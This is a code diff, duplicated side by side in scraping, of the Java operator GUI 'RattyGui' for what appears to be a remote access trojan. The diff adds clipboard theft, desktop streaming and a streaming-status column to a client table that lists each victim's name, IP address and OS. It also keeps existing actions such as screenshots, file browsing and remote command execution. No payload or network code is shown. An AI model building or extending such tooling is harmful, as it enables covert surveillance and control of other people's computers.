|
@ -1,5 +1,6 @@ |
|
|
package de.sogomn.rat.server.gui; |
|
|
package de.sogomn.rat.server.gui; |
|
|
|
|
|
|
|
|
|
|
|
import java.awt.Color; |
|
|
import java.awt.Graphics2D; |
|
|
import java.awt.Graphics2D; |
|
|
import java.awt.Point; |
|
|
import java.awt.Point; |
|
|
import java.awt.event.ActionEvent; |
|
|
import java.awt.event.ActionEvent; |
|
@ -7,6 +8,7 @@ import java.awt.event.MouseAdapter; |
|
|
import java.awt.event.MouseEvent; |
|
|
import java.awt.event.MouseEvent; |
|
|
import java.awt.image.BufferedImage; |
|
|
import java.awt.image.BufferedImage; |
|
|
|
|
|
|
|
|
|
|
|
import javax.swing.Icon; |
|
|
import javax.swing.ImageIcon; |
|
|
import javax.swing.ImageIcon; |
|
|
import javax.swing.JDialog; |
|
|
import javax.swing.JDialog; |
|
|
import javax.swing.JFrame; |
|
|
import javax.swing.JFrame; |
|
@ -30,6 +32,7 @@ public final class RattyGui { |
|
|
private JTable table; |
|
|
private JTable table; |
|
|
private DefaultTableModel tableModel; |
|
|
private DefaultTableModel tableModel; |
|
|
private long lastIdClicked; |
|
|
private long lastIdClicked; |
|
|
|
|
|
private JScrollPane scrollPane; |
|
|
|
|
|
|
|
|
private JPopupMenu menu; |
|
|
private JPopupMenu menu; |
|
|
|
|
|
|
|
@ -43,26 +46,33 @@ public final class RattyGui { |
|
|
"Name", |
|
|
"Name", |
|
|
"IP address", |
|
|
"IP address", |
|
|
"OS", |
|
|
"OS", |
|
|
"Version" |
|
|
|
|
|
|
|
|
"Version", |
|
|
|
|
|
"Streaming" |
|
|
}; |
|
|
}; |
|
|
|
|
|
|
|
|
private static final int SCREEN_WIDTH = 800; |
|
|
private static final int SCREEN_WIDTH = 800; |
|
|
private static final int SCREEN_HEIGHT = 600; |
|
|
private static final int SCREEN_HEIGHT = 600; |
|
|
private static final BufferedImage ICON = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 64, 64); |
|
|
|
|
|
private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/icons.png", 16, 16).getSprites(); |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
private static final BufferedImage GUI_ICON = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 64, 64); |
|
|
|
|
|
private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons.png", 16, 16).getSprites(); |
|
|
|
|
|
|
|
|
public static final String POPUP = "Open popup"; |
|
|
public static final String POPUP = "Open popup"; |
|
|
public static final String SCREENSHOT = "Take screenshot"; |
|
|
public static final String SCREENSHOT = "Take screenshot"; |
|
|
public static final String DESKTOP = "View desktop"; |
|
|
|
|
|
|
|
|
public static final String DESKTOP = "Start desktop stream"; |
|
|
public static final String DESKTOP_STOP = "Stop desktop stream"; |
|
|
public static final String DESKTOP_STOP = "Stop desktop stream"; |
|
|
public static final String FILES = "Browse files"; |
|
|
public static final String FILES = "Browse files"; |
|
|
public static final String COMMAND = "Execute command"; |
|
|
public static final String COMMAND = "Execute command"; |
|
|
|
|
|
public static final String CLIPBOARD = "Get clipboard content"; |
|
|
public static final String FREE = "Free client"; |
|
|
public static final String FREE = "Free client"; |
|
|
public static final String[] ACTION_COMMANDS = { |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
public static final String[] COMMANDS = { |
|
|
POPUP, |
|
|
POPUP, |
|
|
SCREENSHOT, |
|
|
SCREENSHOT, |
|
|
DESKTOP, |
|
|
DESKTOP, |
|
|
|
|
|
DESKTOP_STOP, |
|
|
FILES, |
|
|
FILES, |
|
|
COMMAND, |
|
|
COMMAND, |
|
|
|
|
|
CLIPBOARD, |
|
|
FREE |
|
|
FREE |
|
|
}; |
|
|
}; |
|
|
|
|
|
|
|
@ -70,18 +80,14 @@ public final class RattyGui { |
|
|
frame = new JFrame(); |
|
|
frame = new JFrame(); |
|
|
table = new JTable(); |
|
|
table = new JTable(); |
|
|
tableModel = (DefaultTableModel)table.getModel(); |
|
|
tableModel = (DefaultTableModel)table.getModel(); |
|
|
|
|
|
scrollPane = new JScrollPane(table, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED); |
|
|
menu = new JPopupMenu(); |
|
|
menu = new JPopupMenu(); |
|
|
|
|
|
|
|
|
for (int i = 0; i < ACTION_COMMANDS.length && i < MENU_ICONS.length; i++) { |
|
|
|
|
|
final String command = ACTION_COMMANDS[i]; |
|
|
|
|
|
final JMenuItem item = new JMenuItem(command); |
|
|
|
|
|
|
|
|
for (int i = 0; i < COMMANDS.length && i < MENU_ICONS.length; i++) { |
|
|
|
|
|
final String command = COMMANDS[i]; |
|
|
final ImageIcon icon = new ImageIcon(MENU_ICONS[i]); |
|
|
final ImageIcon icon = new ImageIcon(MENU_ICONS[i]); |
|
|
|
|
|
|
|
|
item.setActionCommand(command); |
|
|
|
|
|
item.addActionListener(this::menuItemClicked); |
|
|
|
|
|
item.setIcon(icon); |
|
|
|
|
|
|
|
|
|
|
|
menu.add(item); |
|
|
|
|
|
|
|
|
addMenuItem(command, icon); |
|
|
} |
|
|
} |
|
|
|
|
|
|
|
|
final MouseAdapter mouseAdapter = new MouseAdapter() { |
|
|
final MouseAdapter mouseAdapter = new MouseAdapter() { |
|
@ -94,24 +100,44 @@ public final class RattyGui { |
|
|
} |
|
|
} |
|
|
}; |
|
|
}; |
|
|
|
|
|
|
|
|
|
|
|
scrollPane.setBorder(null); |
|
|
tableModel.setColumnIdentifiers(HEADERS); |
|
|
tableModel.setColumnIdentifiers(HEADERS); |
|
|
table.setEnabled(false); |
|
|
table.setEnabled(false); |
|
|
table.setComponentPopupMenu(menu); |
|
|
table.setComponentPopupMenu(menu); |
|
|
table.addMouseListener(mouseAdapter); |
|
|
table.addMouseListener(mouseAdapter); |
|
|
|
|
|
|
|
|
final JScrollPane scrollPane = new JScrollPane(table, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED); |
|
|
|
|
|
|
|
|
|
|
|
scrollPane.setBorder(null); |
|
|
|
|
|
|
|
|
|
|
|
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); |
|
|
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); |
|
|
frame.setContentPane(scrollPane); |
|
|
frame.setContentPane(scrollPane); |
|
|
frame.pack(); |
|
|
frame.pack(); |
|
|
frame.setLocationByPlatform(true); |
|
|
frame.setLocationByPlatform(true); |
|
|
frame.setIconImage(ICON); |
|
|
|
|
|
|
|
|
frame.setIconImage(GUI_ICON); |
|
|
frame.setVisible(true); |
|
|
frame.setVisible(true); |
|
|
frame.requestFocus(); |
|
|
frame.requestFocus(); |
|
|
} |
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
private Screen createScreen(final int width, final int height) { |
|
|
|
|
|
final Screen screen = new Screen(width, height); |
|
|
|
|
|
|
|
|
|
|
|
screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO); |
|
|
|
|
|
screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT); |
|
|
|
|
|
screen.setBackgroundColor(Color.BLACK); |
|
|
|
|
|
screen.addListener(g -> { |
|
|
|
|
|
g.drawImage(image, 0, 0, null); |
|
|
|
|
|
}); |
|
|
|
|
|
|
|
|
|
|
|
return screen; |
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
private void addMenuItem(final String name, final Icon icon) { |
|
|
|
|
|
final JMenuItem item = new JMenuItem(name); |
|
|
|
|
|
|
|
|
|
|
|
item.setActionCommand(name); |
|
|
|
|
|
item.addActionListener(this::menuItemClicked); |
|
|
|
|
|
item.setIcon(icon); |
|
|
|
|
|
|
|
|
|
|
|
menu.add(item); |
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
private void menuItemClicked(final ActionEvent a) { |
|
|
private void menuItemClicked(final ActionEvent a) { |
|
|
if (controller == null) { |
|
|
if (controller == null) { |
|
|
return; |
|
|
return; |
|
@ -131,36 +157,44 @@ public final class RattyGui { |
|
|
g.dispose(); |
|
|
g.dispose(); |
|
|
} |
|
|
} |
|
|
|
|
|
|
|
|
private void drawToScreenImage(final IFrame frame) { |
|
|
|
|
|
drawToScreenImage(frame.image, frame.x, frame.y); |
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
private void openScreen(final int width, final int height) { |
|
|
|
|
|
|
|
|
public void openScreen(final int width, final int height) { |
|
|
if (screen == null || screen.getInitialWidth() != width || screen.getInitialHeight() != height || !screen.isOpen()) { |
|
|
if (screen == null || screen.getInitialWidth() != width || screen.getInitialHeight() != height || !screen.isOpen()) { |
|
|
if (screen != null) { |
|
|
if (screen != null) { |
|
|
screen.close(); |
|
|
screen.close(); |
|
|
} |
|
|
} |
|
|
|
|
|
|
|
|
screen = new Screen(width, height); |
|
|
|
|
|
|
|
|
|
|
|
screen.addListener(g -> { |
|
|
|
|
|
g.drawImage(image, 0, 0, null); |
|
|
|
|
|
}); |
|
|
|
|
|
screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO); |
|
|
|
|
|
screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT); |
|
|
|
|
|
|
|
|
screen = createScreen(width, height); |
|
|
} |
|
|
} |
|
|
|
|
|
|
|
|
screen.show(); |
|
|
screen.show(); |
|
|
screen.redraw(); |
|
|
screen.redraw(); |
|
|
} |
|
|
} |
|
|
|
|
|
|
|
|
public void addRow(final long id, final String name, final String address, final String os, final String version) { |
|
|
|
|
|
final Object[] data = {id, name, address, os, version}; |
|
|
|
|
|
|
|
|
public void showImage(final BufferedImage image) { |
|
|
|
|
|
this.image = image; |
|
|
|
|
|
|
|
|
|
|
|
final int width = image.getWidth(); |
|
|
|
|
|
final int height = image.getHeight(); |
|
|
|
|
|
|
|
|
|
|
|
openScreen(width, height); |
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
public void showFrame(final IFrame frame, final int screenWidth, final int screenHeight) { |
|
|
|
|
|
if (image == null || image.getWidth() != screenWidth || image.getHeight() != screenHeight) { |
|
|
|
|
|
image = new BufferedImage(screenWidth, screenHeight, BufferedImage.TYPE_INT_RGB); |
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
drawToScreenImage(frame.image, frame.x, frame.y); |
|
|
|
|
|
openScreen(screenWidth, screenHeight); |
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
public void addTableRow(final long id, final String name, final String address, final String os, final String version) { |
|
|
|
|
|
final Object[] data = {id, name, address, os, version, false}; |
|
|
|
|
|
|
|
|
tableModel.addRow(data); |
|
|
tableModel.addRow(data); |
|
|
} |
|
|
} |
|
|
|
|
|
|
|
|
public void removeRow(final long id) { |
|
|
|
|
|
|
|
|
public void removeTableRow(final long id) { |
|
|
final int rows = tableModel.getRowCount(); |
|
|
final int rows = tableModel.getRowCount(); |
|
|
|
|
|
|
|
|
for (int i = 0; i < rows; i++) { |
|
|
for (int i = 0; i < rows; i++) { |
|
@ -174,22 +208,16 @@ public final class RattyGui { |
|
|
} |
|
|
} |
|
|
} |
|
|
} |
|
|
|
|
|
|
|
|
public void showImage(final BufferedImage image) { |
|
|
|
|
|
this.image = image; |
|
|
|
|
|
|
|
|
|
|
|
final int width = image.getWidth(); |
|
|
|
|
|
final int height = image.getHeight(); |
|
|
|
|
|
|
|
|
public void setStreaming(final long id, final boolean state) { |
|
|
|
|
|
final int rows = tableModel.getRowCount(); |
|
|
|
|
|
|
|
|
openScreen(width, height); |
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
public void showFrame(final IFrame frame, final int screenWidth, final int screenHeight) { |
|
|
|
|
|
if (image == null || image.getWidth() != screenWidth || image.getHeight() != screenHeight) { |
|
|
|
|
|
image = new BufferedImage(screenWidth, screenHeight, BufferedImage.TYPE_INT_RGB); |
|
|
|
|
|
|
|
|
for (int i = 0; i < rows; i++) { |
|
|
|
|
|
final long rowId = (Long)tableModel.getValueAt(i, 0); |
|
|
|
|
|
|
|
|
|
|
|
if (rowId == id) { |
|
|
|
|
|
tableModel.setValueAt(state, i, 5); //Column 5 = Streaming |
|
|
|
|
|
} |
|
|
} |
|
|
} |
|
|
|
|
|
|
|
|
drawToScreenImage(frame); |
|
|
|
|
|
openScreen(screenWidth, screenHeight); |
|
|
|
|
|
} |
|
|
} |
|
|
|
|
|
|
|
|
public void setController(final IGuiController controller) { |
|
|
public void setController(final IGuiController controller) { |
|
@ -200,6 +228,10 @@ public final class RattyGui { |
|
|
return lastIdClicked; |
|
|
return lastIdClicked; |
|
|
} |
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
public boolean isScreenVisible() { |
|
|
|
|
|
return screen.isVisible(); |
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
public static void showMessage(final String message) { |
|
|
public static void showMessage(final String message) { |
|
|
final JOptionPane optionPane = new JOptionPane(message); |
|
|
final JOptionPane optionPane = new JOptionPane(message); |
|
|
final JDialog dialog = optionPane.createDialog(null); |
|
|
final JDialog dialog = optionPane.createDialog(null); |
|
|